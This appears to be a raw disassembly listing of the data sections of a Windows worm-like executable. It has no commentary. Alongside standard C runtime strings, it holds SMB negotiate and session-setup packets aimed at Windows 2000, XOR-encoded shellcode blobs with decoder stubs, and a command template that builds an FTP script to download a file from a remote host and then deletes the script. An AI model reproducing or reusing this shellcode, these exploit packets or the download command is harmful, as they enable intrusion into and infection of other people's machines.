		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 34h dup(0)
dbl_427568	dq 9.765625e-4		; DATA XREF: .text:0040500Ar
					; .text:00405025r ...
		dd 2 dup(0)
dbl_427578	dq -3.0517578125e-5	; DATA XREF: sub_411CB1+1Er
		dd 0
		dd offset dword_427EB0
off_427588	dd offset sub_41576B	; DATA XREF: sub_415573+4Do
					; sub_415787+Co
		dd offset sub_415631
		dd offset sub_41574E
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_415573+1Eo
		dd offset dword_427EE8
off_4275A8	dd offset sub_415698	; DATA XREF: sub_4155CD+4Eo
					; sub_41565B+11o ...
		dd offset sub_415631
		dd offset sub_41563E
		dd offset dword_427F38
off_4275B8	dd offset sub_415853	; DATA XREF: sub_41579F+4Do
					; sub_41586F+Co
		dd offset sub_415631
		dd offset sub_415836
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41579F+1Eo
		align 10h
dbl_4275E0	dq 1.0			; DATA XREF: sub_415D9B+6Cr
					; sub_415EF3+6Cr ...
dword_4275E8	dd 0FFFFFFFFh, 417FA7h,	417FBBh, 427F68h ; DATA	XREF: sub_417ED0+5o
off_4275F8	dd offset sub_418020	; DATA XREF: .text:00418019o
					; sub_41803C+8o ...
		dd offset sub_4180F8
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4180F8+7o
		align 4
		dd offset dword_427FB0
off_427618	dd offset sub_41811A	; DATA XREF: sub_418105o
					; .text:00418192o ...
		align 10h
dword_427620	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4181A0+Eo
		dd 3, 19930520h, 2 dup(0)
		dd 6E795Fh, 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h
		dd 0
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .data:off_435AD4o
dbl_4276F0	dq 0.0			; DATA XREF: sub_4196BA+8Cr
					; sub_4196BA+ACr ...
dbl_4276F8	dq 4.195835e6		; DATA XREF: sub_419C33+Fr
dbl_427700	dq 3.145727e6		; DATA XREF: sub_419C33+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419C71+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419C71o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_419D98+93o
		align 4
dword_427738	dd 0FFFFFFFFh, 41A483h,	41A48Dh, 0 ; DATA XREF:	sub_41A41C+5o
dword_427748	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41A54B+5o
		dd offset sub_41A609
		align 8
		dd offset sub_41A5E7
		dd offset sub_41A5F1
dword_427760	dd 0FFFFFFFFh, 41A839h,	41A83Dh, 0 ; DATA XREF:	sub_41A681+5o
dword_427770	dd 0FFFFFFFFh, 41A89Bh,	41A8A4h, 0 ; DATA XREF:	sub_41A845+5o
dword_427780	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41A91C+5o
		dd offset loc_41A96D
		align 10h
byte_427790	db 59h			; DATA XREF: sub_41AAED+4Ar
		db 0A9h, 41h, 0
		dd offset loc_41A95D
dword_427798	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41A982+5o
		dd offset loc_41A9D3
		align 8
		dd offset loc_41A9BF
		dd offset loc_41A9C3
byte_4277B0	db 6			; DATA XREF: sub_41AAED:loc_41AB44r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		db 8,'`h````',0
		dd 78707000h, 8787878h,	807h, 8080007h,	8000008h, 7000800h
		dd 8
aNull_0:				; DATA XREF: .data:off_435C1Co
		unicode	0, <(null)>,0
		align 4
aNull		db '(null)',0           ; DATA XREF: .data:off_435C18o
		align 4
dword_427824	dd 0			; DATA XREF: sub_41CC29+36o
					; sub_41EACD+39o ...
dword_427828	dd 0FFFFFFFFh, 41CD39h,	41CD3Dh, 0FFFFFFFFh, 41CDEDh, 41CDF1h
					; DATA XREF: sub_41CC29+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_43613Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D965+119o
		align 10h
asc_427AF0	db 0Ah			; DATA XREF: sub_41D965+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41D965+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41D965+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41D965+7Do
		align 10h
dword_427B30	dd 0FFFFFFFFh, 41EBC6h,	41EBCAh	; DATA XREF: sub_41EACD+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41F1B2+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41F80A+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41F80A+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41F80A+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41FF41:loc_420036o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41FF41+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41FF41+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41FF41+ADo
		align 10h
dword_427BD0	dd 0FFFFFFFFh, 420C98h,	420C9Ch, 0FFFFFFFFh, 420D07h, 420D0Bh
					; DATA XREF: sub_420AE1+5o
		dd 98h dup(0)
off_427E48	dd offset off_4359E8	; DATA XREF: .rdata:00427E98o
					; .rdata:00427ECCo ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427E60	dd offset off_435A00	; DATA XREF: .rdata:00427E94o
					; .rdata:00427EC8o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_427E78	dd offset off_435A20	; DATA XREF: .rdata:00427E90o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E78
		dd offset off_427E60
		dd offset off_427E48
dword_427E9C	dd 3 dup(0)		; DATA XREF: .rdata:00427EC0o
		dd 3, 427E90h
dword_427EB0	dd 3 dup(0)		; DATA XREF: .rdata:00427584o
		dd offset off_435A20
		dd offset dword_427E9C+4
		align 8
		dd offset off_427E60
		dd offset off_427E48
dword_427ED0	dd 4 dup(0)		; DATA XREF: .rdata:00427EF8o
		dd 2, 427EC8h
dword_427EE8	dd 3 dup(0)		; DATA XREF: .rdata:004275A4o
		dd offset off_435A00
		dd offset dword_427ED0+8
		align 10h
off_427F00	dd offset off_435A40	; DATA XREF: .rdata:00427F18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427F00
		dd offset off_427E60
		dd offset off_427E48
		dd 0
		db    0			; DATA XREF: .rdata:00427F48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427F18h
dword_427F38	dd 3 dup(0)		; DATA XREF: .rdata:004275B4o
		dd offset off_435A40
		dd offset unk_427F28
		dd offset off_427E48
dword_427F50	dd 4 dup(0)		; DATA XREF: .rdata:00427F78o
		dd 1, 427F4Ch, 3 dup(0)
		dd offset off_4359E8
		dd offset dword_427F50+8
		align 10h
off_427F80	dd offset off_435AA8	; DATA XREF: .rdata:00427F98o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427F80
dword_427F9C	dd 3 dup(0)		; DATA XREF: .rdata:00427FC0o
		dd 1, 427F98h
dword_427FB0	dd 3 dup(0)		; DATA XREF: .rdata:00427614o
		dd offset off_435AA8
		dd offset dword_427F9C+4
		dd 53h dup(0)
dword_428110	dd 19930520h, 2, 428130h, 5 dup(0) ; DATA XREF:	.text:loc_4250A3o
		dd 0FFFFFFFFh, 42508Ch,	0
		dd offset sub_425084
		dd 2 dup(0)
dword_428148	dd 19930520h, 2, 428168h, 5 dup(0) ; DATA XREF:	.text:loc_4250C8o
		dd 0FFFFFFFFh, 4250B8h,	0
		dd offset sub_4250C0
		align 10h
dword_428180	dd 19930520h, 2, 4281A0h, 1, 4281B0h, 3	dup(0)
					; DATA XREF: .text:loc_4250D8o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4281C8h, 4	dup(0)
		dd offset loc_402A7D
		dd 3 dup(0)
		dd offset off_4359E8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	418079h, 2 dup(0)
		dd offset off_435A00
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4156B4h, 2 dup(0)
		dd offset off_435A20
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	415787h, 0
dword_428240	dd 3, 428220h, 428200h,	4281E0h	; DATA XREF: .rdata:0042825Co
dword_428250	dd 0			; DATA XREF: sub_415573+47o
					; sub_41574E+12o
		dd offset sub_415711
		dd 0
		dd offset dword_428240
dword_428260	dd 19930520h, 1, 428280h, 5 dup(0) ; DATA XREF:	.text:loc_4250ECo
		dd 0FFFFFFFFh, 4250E4h
dword_428288	dd 19930520h, 1, 4282A8h, 5 dup(0) ; DATA XREF:	.text:loc_425100o
dword_4282A8	dd 0FFFFFFFFh, 4250F8h,	2, 428200h, 4281E0h, 0 ; DATA XREF: .rdata:004282CCo
dword_4282C0	dd 0			; DATA XREF: sub_41563E+12o
		dd offset sub_41565B
		dd 0
		dd offset dword_4282A8+8
dword_4282D0	dd 19930520h, 1, 4282F0h, 5 dup(0) ; DATA XREF:	.text:loc_425114o
		dd 0FFFFFFFFh, 42510Ch
dword_4282F8	dd 19930520h, 1, 428318h, 5 dup(0) ; DATA XREF:	.text:loc_425128o
		dd 0FFFFFFFFh, 425120h
dword_428320	dd 19930520h, 1, 428340h, 5 dup(0) ; DATA XREF:	.text:loc_42513Co
		dd 0FFFFFFFFh, 425134h,	0
		dd offset off_435A40
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41586Fh, 0
dword_428368	dd 3, 428348h, 428200h,	4281E0h	; DATA XREF: .rdata:00428384o
dword_428378	dd 0			; DATA XREF: sub_41579F+47o
					; sub_415836+12o
		dd offset sub_4157F9
		dd 0
		dd offset dword_428368
dword_428388	dd 19930520h, 1, 4283A8h, 5 dup(0) ; DATA XREF:	.text:loc_425150o
		dd 0FFFFFFFFh, 425148h
dword_4283B0	dd 19930520h, 1, 4283D0h, 5 dup(0) ; DATA XREF:	.text:loc_425164o
		dd 0FFFFFFFFh, 42515Ch,	74000000h, 309h	dup(0)
_rdata		ends

; Section 3. (virtual address 00029000)
; Virtual size			: 0006C000 ( 442368.)
; Section size in file		: 0006C000 ( 442368.)
; Offset to raw	data for section: 00029000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 429000h
dword_429000	dd 41h dup(0)		; DATA XREF: sub_4177E0+1Fo
		dd offset sub_402B66
		dd offset sub_415887
		dd 41h dup(0)
dword_429210	dd 41h dup(0)		; DATA XREF: sub_4177E0+1Ao
dword_429314	dd 41h dup(0)		; DATA XREF: sub_4177E0+10o
		dd offset sub_4167F2
		dd offset sub_41CAB9
		dd offset sub_41E5E8
		dd 41h dup(0)
		dd offset sub_41DB2F
		dd 40h dup(0)
dword_42962C	dd 41h dup(0)		; DATA XREF: sub_4177E0:loc_4177EBo
dword_429730	dd 41h dup(0)		; DATA XREF: sub_41784D+65o
		dd offset sub_41E68D
		dd 40h dup(0)
dword_429938	dd 41h dup(0)		; DATA XREF: sub_41784D:loc_4178ADo
dword_429A3C	dd 41h dup(0)		; DATA XREF: sub_41784D+76o
		dd offset sub_41DB40
		dd 40h dup(0)
dword_429C44	dd 43h dup(0)		; DATA XREF: sub_41784D:loc_4178BEo
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_401A18+B2o
		align 4
dword_429D5C	dd 10FF8h, 0		; DATA XREF: sub_401A18+6Ao
dword_429D64	dd 10FF8h		; DATA XREF: sub_401A18+79o
dword_429D68	dd 7FFDF020h, 0		; DATA XREF: sub_401A18+162o
dword_429D70	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_401F4B+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_429DF8	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_401F4B+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_429E28	dd 0			; DATA XREF: sub_401F4B+44o
		dd 800000D4h, 0
unk_429E34	db  81h	; 		; DATA XREF: sub_40205B+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_429E80	db 41h			; DATA XREF: sub_402120+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4
aSvwfbA		db 'SVWf',0          ; DATA XREF: sub_402413+80o
aIcsa		db '',0
		db 2 dup(0), 0FFh
		dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
		dd 6B680476h, 0E8CA2BD0h, 0E2h,	0E80C4689h, 3Fh, 680476FFh
		dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
		dd 0B9C78910h, 410h, 315EA4F3h,	505050C0h, 0FF505053h
		dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh,	23E8h
		dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
		dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h,	0FF64D231h
		dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
		dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h,	8B7FFDF0h
		dd 8468B1Fh, 7F8B0789h,	78C781F8h, 89000001h, 741939F9h
		dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh,	891189F6h
		dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
		dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
		dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
		dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
		dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
		dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_42A02C	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: sub_402413+30o
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 2Ch dup(0)
dword_42A16C	dd 23h			; DATA XREF: sub_4019A7+1Bo
					; sub_4087B3+799o
dword_42A170	dd 60h			; DATA XREF: sub_401A18+320o
dword_42A174	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401A18+2F5o
dword_42A180	dd 30h			; DATA XREF: sub_401A18+2CAo
					; .data:0042CC44o
dword_42A184	dd 0A1h			; DATA XREF: sub_401A18+29Fo
dword_42A188	dd 3			; DATA XREF: sub_401A18+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_401A18+153o
		align 4
dword_42A194	dd 909006EBh, 90909090h, 0 ; DATA XREF:	sub_401A18+E8o
aSS_		db '%s// %s.',0         ; DATA XREF: sub_402413+1CEo
		align 4
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_402413+55o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		dd 7 dup(0)
		dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
		dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h,	0E91295D9h
		dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h,	0ABAAF160h
		dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
		dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h,	0C9C9C989h
		dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
		dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
		dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
		dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
		dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh,	0A86666F3h
		dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
		dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
		dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
		dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
		dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
		dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
dword_42A378	dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
					; DATA XREF: sub_402D46+156o
					; sub_402D46+212o
		dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h,	0E91295D9h
		dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
		dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
		dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
		dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
		dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
		dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
		dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_42A428	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402D46+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_42A510	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:0040330Ao
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002_0	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1_0	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12_0	db ' LM 0.12',0
		align 4
dword_42A59C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00403336o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_42A648	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0040335Do
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_42A728	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402D46+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_1:					; DATA XREF: sub_402D46+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42A78C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
